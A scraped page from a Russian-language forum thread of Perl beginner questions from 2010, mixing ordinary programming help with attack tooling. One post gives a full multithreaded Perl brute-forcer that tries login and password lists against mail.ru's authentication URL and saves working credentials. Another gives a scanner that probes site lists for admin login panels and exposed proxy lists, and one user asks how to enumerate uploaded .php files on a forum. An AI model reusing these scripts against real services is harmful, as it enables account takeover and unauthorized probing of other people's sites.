[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Всёравно не хочет :(
     
  2. AquaKlaster

    AquaKlaster Active Member

    Joined:
    9 Mar 2009
    Messages:
    0
    Likes Received:
    204
    Reputations:
    23
    Что имеено не хочет? Запускаться, или не чекает или что он там должен делать. Ты подробней опиши
     
  3. SHok-SQL

    SHok-SQL New Member

    Joined:
    28 Feb 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    это мыльный брут $page = get('http://win.mail.ru/cgi-bin/auth?Login='.$login.'&Domain='.$domian.'&Password='.$paswd);
    для мэйл ру а при запуске он тупо закрывается и ни одной ошыбки не выдаёт можэт ктото у себя попробует можэт дело не в скрипте а в моём интерпритаторе ?

    сегодня немного поправил скрипт вышло следующее


    Code:
    #!/usr/bin/perl -w
    
    use LWP::Simple;
    use threads;
    
    #   <DOMIAN><LOGINLIST><PASLIST>
    
    
    $domian=$ARGV[0];
    $loginf=$ARGV[1];
    $passf=$ARGV[2];
    
    
    chomp ($domian);
    chomp ($loginf);
    chomp ($passf);
    
    open(BASE, $loginf); 
    chomp(@login = <BASE>);
    close(BASE);
    
    open(BASE, $passf); 
    chomp(@passl = <BASE>);
    close(BASE);
    
    foreach $login (@login)
         {  
    foreach $paswd (@passl)
         {
    threads->create(\&brut,$login.$paswd)->detach;
    
    sub brut
    {
    $page = get("http://win.mail.ru/cgi-bin/auth?Login=".$login."&Domain=".$domian."&Password=".$paswd);
    if($page =~ />Входящие<\/a><\/div>/)
    {
         print "GOOD => $login $domian | $paswd |\n";
         open(F, ">> good.txt");
         print F "$login $domian | $paswd |\n";
         close(F);
    }
    else
    {
         print "BAD => $login $domian | $paswd |\n";
         open(F, ">> bad.txt");
         print F "$login $domian | $paswd |\n";
         close(F);   
    }
    }
    }
    }
    скрипт вроде как брутит но не пишэт гуды :(
     
    #1583 SHok-SQL, 27 Jul 2010
    Last edited: 27 Jul 2010
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    >> для мэйл ру а при запуске он тупо закрывается и ни одной ошыбки не выдаёт можэт ктото у себя попробует можэт дело не в скрипте а в моём интерпритаторе ?

    Дело в прослойке между креслом и монитором. Иди читай основы перла, если не можешь адекватно понять те примеры кода что тебе дают.
     
  5. Chelovek900

    Chelovek900 New Member

    Joined:
    8 Jul 2010
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Есть скрипт на перле. Он берёт из файла urls.txt список сайтов, и проверяет наличие на этих сайтах файлов index.php и list.php. Но этот скрипт часто повисает, когда проверяет большие списки сайтов.

    Так вот, как можно переделать этот скрипт чтобы он не зависал? Благодарю за любую помощь.

    Code:
    #!/usr/bin/perl
    use strict;
    use warnings;
    use IO::Socket;
    use threads;
    
    open(SOCKS, ">socks.txt") or die("Cannot open file Socks List File or File isn\'t writable");
    open(ADMS, ">adms.txt") or die("Cannot open file Adm List File or File isn\'t writable");
    open(URLS, "urls.txt") or die("Cannot open file URL List File");
    
    my $threads = 1 ;
    my @adms = ('index.php');
    my @socks = ('list.php');
    my @list;
    
    while (@adms){
    my $adm = shift(@adms);
    push (@list, $adm);
    }
    
    while (@socks){
    my $sock = shift(@socks);
    push (@list, $sock);
    }
    
    my @URLS = <URLS>;
    close URLS;
    while (@URLS){
    my $idx=0;
    my @trl;
    while (@URLS && ($idx <= $threads)){
    my $url = shift(@URLS);
    chomp($url);
    foreach my $lurl (@list){
    my $furl = $url;
    $furl .= $lurl;
    print $furl."\n";
    $trl[$idx]=threads->create(\&check, $idx, \$furl);
    $idx++;
    }
    undef($url);
    }
    for(@trl){ $_->join; }
    }
    
    sub check{
    my $url = $_[1];
    if ($$url =~ /http:\/\/(.+?)\/(.+)$/i){
    my $host = $1;
    my $dir = '/'.$2;
    if (my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => 80)){
    $socket->autoflush(1);
    print $socket "GET $dir HTTP/1.1\r\n";
    print $socket "Host: $host\r\n";
    print $socket "User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\r\n";
    print $socket "Accept: text/html\r\n";
    print $socket "Connection: close\r\n\r\n";
    my $answer;
    $socket->recv($answer, 2048);
    close($socket);
    if ($answer =~ /\?m=login/i){
    print "[+]".$$url."\n";
    print ADMS "$$url\n";
    }
    
    if($answer =~ /([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\.([0-9]){1,3}\:([0-9]){1,5}/i){
    print "[+]".$$url."\n";
    print SOCKS "$$url\n";
    }
    undef($answer);
    undef($$url);
    undef($host);
    undef($dir);
    }
    }
    }
    close SOCKS;
    close ADMS;
     
  6. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Для начала отформатировать код. Затем обратить внимание на то, что для каждого адреса (url) создается отдельный поток, вместо того, чтобы небольшое количество потоков обрабатывало все адреса по одному, читая их построчно из файла или забирая из массива.
     
  7. Chelovek900

    Chelovek900 New Member

    Joined:
    8 Jul 2010
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Спасибо за подсказку. Но я в перле чайник, а скрипт этот не мой. Как можно его переделать?
     
  8. anubis666

    anubis666 New Member

    Joined:
    17 Aug 2009
    Messages:
    31
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте,подскажите как решить проблему,В БД Mysql все данные храняться в utf-8 ,скрипт сохранен в кодировке utf-8 ,почему же при выборке данных из бд все данные в utf-8 выдаются в знаках вопросах?
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    Всё спасибо.проблема решена дописанием строки $dbh->do('SET NAMES utf8') or die $DBI::errstr;
     
    #1588 anubis666, 1 Aug 2010
    Last edited: 1 Aug 2010
  9. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    Посоветуйте книгу для новичка
    Нашел много книг но почти все очень старые
    Нечё если буду учить perl по книге 2004 года
     
  10. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    программирование на perl
     
  11. KATYA

    KATYA Active Member

    Joined:
    9 Feb 2009
    Messages:
    236
    Likes Received:
    121
    Reputations:
    9
    Изучаем Perl, то есть легендарная книга с ламой...
     
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Лама говно. Верблюд единственно истинен.
     
  13. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    хочу поинтересоваться каким образом можно скачать файл на хостинг средствами скрипта (с другова сайта указав ссылку)
    Если возможно примерчик маленький
     
    #1593 TikTik, 4 Aug 2010
    Last edited: 4 Aug 2010
  14. drim

    drim Member

    Joined:
    27 Aug 2009
    Messages:
    347
    Likes Received:
    33
    Reputations:
    4
    подробнее опиши задачу
     
  15. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2

    К примеру есть скрипт который будет залит на хостинг, в одном из текст файлов будет список ccылок на файлы с других сайтов и будет иногда скачивать файлы к себе на хостинг- на котором он и установлен, через некоторые промежутки времени.
    К примеру с depositfile там ещё ограничение по времени значит зашел подождал 60 секунд а потом жмакал на кнопку формы. Вообшем грабер файлов с Депозита
    Вот такая вот задачка
     
    #1595 TikTik, 4 Aug 2010
    Last edited: 5 Aug 2010
  16. energ77

    energ77 New Member

    Joined:
    17 Jul 2010
    Messages:
    49
    Likes Received:
    4
    Reputations:
    0
    Есть вопростик, хочу создать сайт с новостями, незнаю как сдлать так чтобы новости на страницу выводились с последнией записи и по допустим 7 штук, а винзу переключатель стоял? ))
     
  17. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Есть строка типа:
    Code:
    http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2500_thumb.php
    нужно получить в txt список такого формата:
    Code:
    http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2501_thumb.php
    http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2501_thumb.php
    http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2502_thumb.php
    http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2503_thumb.php 
    и так делее аж до
    Code:
    9999_thumb.php
    Есть идеи?
     
  18. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    Примерно так.
    PHP:
    <?php
    $str
    ="http://site/forum/uploads/monthly_08_2010/post-27527-1281211151,2500_thumb.php";
    for(
    $i=2501$i<9999$i++)
    {
    $str1=preg_replace('/,(.*?)_/'$i$str);
    fwrite($handle$str1."\n");
    }
    ?>
     
    1 person likes this.
  19. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    Не работет, выдает ошибку в 6 строке, предварительно пару тысяч строк создав в cmd :( Нужно сохранить ето в текстовике....
     
  20. TikTik

    TikTik Member

    Joined:
    20 Feb 2009
    Messages:
    241
    Likes Received:
    12
    Reputations:
    2
    Проблемма конечно ппц не могу установить модуль пользуюсь strawbery plus Padre класное IDE очень мне нравится так вот дело в том что понадобилось установить модуль пользуюсь встроеным в IDE cpan
    Вроде всё нормально
    [​IMG]
    Но он так и отказывается работать :(

    вот такие ошибки при вызове модуля

    Can't locate Win32/GUI.pm in @INC (@INC contains: C:/strawberry/perl/lib C:/strawberry/perl/site/lib C:\strawberry\perl\vendor\lib .) at C:\script.pl line 3.
    Can't locate Win32/GUI.pm in @INC (@INC contains: C:/strawberry/perl/lib C:/strawberry/perl/site/lib C:\strawberry\perl\vendor\lib .) at C:\script.pl line 3.


    Тоесть его нету там где надо :(

    ну вот к примеру код чтоб не грешили на код

    Code:
    #!perl
    use threads;
    use Win32::GUI();
     my (
        $MW, %MP, $X, $Y, $SelX,$SelY,
        );
     $MR = 30; # Количество клеток по вертикали
     $MC = 60; # Количество клеток по горизонтале
     $LEFT = 0;  # по X
     $TOP  = 1;  # по Y
     $W = 15; # Ширина клетки поля
     $H = 15; # Высота клетки поля
     $bSelect = 0;
     $MP{'Menu'}  = Win32::GUI::MakeMenu (
       "&Файл"    => "Файл",
       ">&Цвет"   =>  { -name => "ChooseColor", -onClick => \&Form1_Color},
     ); 
     $MW = new Win32::GUI::Window (
        -name  => "Form1",
        -size  => [800, 700],
        -title => "ShameCreate 0.2.3",
        -vscroll => 1,
        -menu  => $MP{'Menu'},
     ) or die "$!";
     
     $MW->Center();
     $MW->Show();
      Win32::GUI::Dialog();
     sub Form1_Color {
        $color = Win32::GUI::ChooseColor (
          -owner => $WM,
        );
        $MP{'Brush'} = new Win32::GUI::Brush (
          -color => $color,
        );
     }
     sub Form1_Paint {
        $DC = shift;
        $threads = threads->new(\&ShamePoleShow);
     }
     sub Form1_MouseDown {
        ($X, $Y) = @_;  
         $posX = ($X - $LEFT) / $W;
         $posY = ($Y - $TOP)  / $H;
          if ($X < $LEFT || $Y < $TOP) 
          {
            $bSelect = 0;
          }
          else
          {
            $bSelect = 1;
            $SelX = int($posX);
            $SelY = int($posY);
            ShamePoleShow();
          }       
     }
     sub ShamePoleShow {
        for($row = 0; $row <= $MR; $row++) {
            for($col = 0; $col <= $MC; $col++) {
                Kletka($row,$col);
            }
        }
     }
     sub Kletka {
        my($row,$col) = @_;
         $x = $LEFT + $col * $W;
         $y = $TOP  + $row * $H;
          if ($bSelect == 0 ) {
           $DC->Rectangle($x-1,$y-1,$x+$W,$y+$H);
          }
            if($bSelect == 1 && $SelX == $col && $SelY == $row)
            {
               $DC->MoveTo($x, $y);
               $DC->LineTo($x+$W, $y+$H);
               $DC->MoveTo($x+$W, $y);
               $DC->LineTo($x, $y+$H);
            }
          return;
     }
    черт его знает что делать с этим проклятым cpam как устанавливать его туда куда надо и куда надо ?
    Хорошо в Python кинул в папку lib архив с модулем и всё тут же хз целая блин наука :(
     
    #1600 TikTik, 17 Aug 2010
    Last edited: 17 Aug 2010
Thread Status:
Not open for further replies.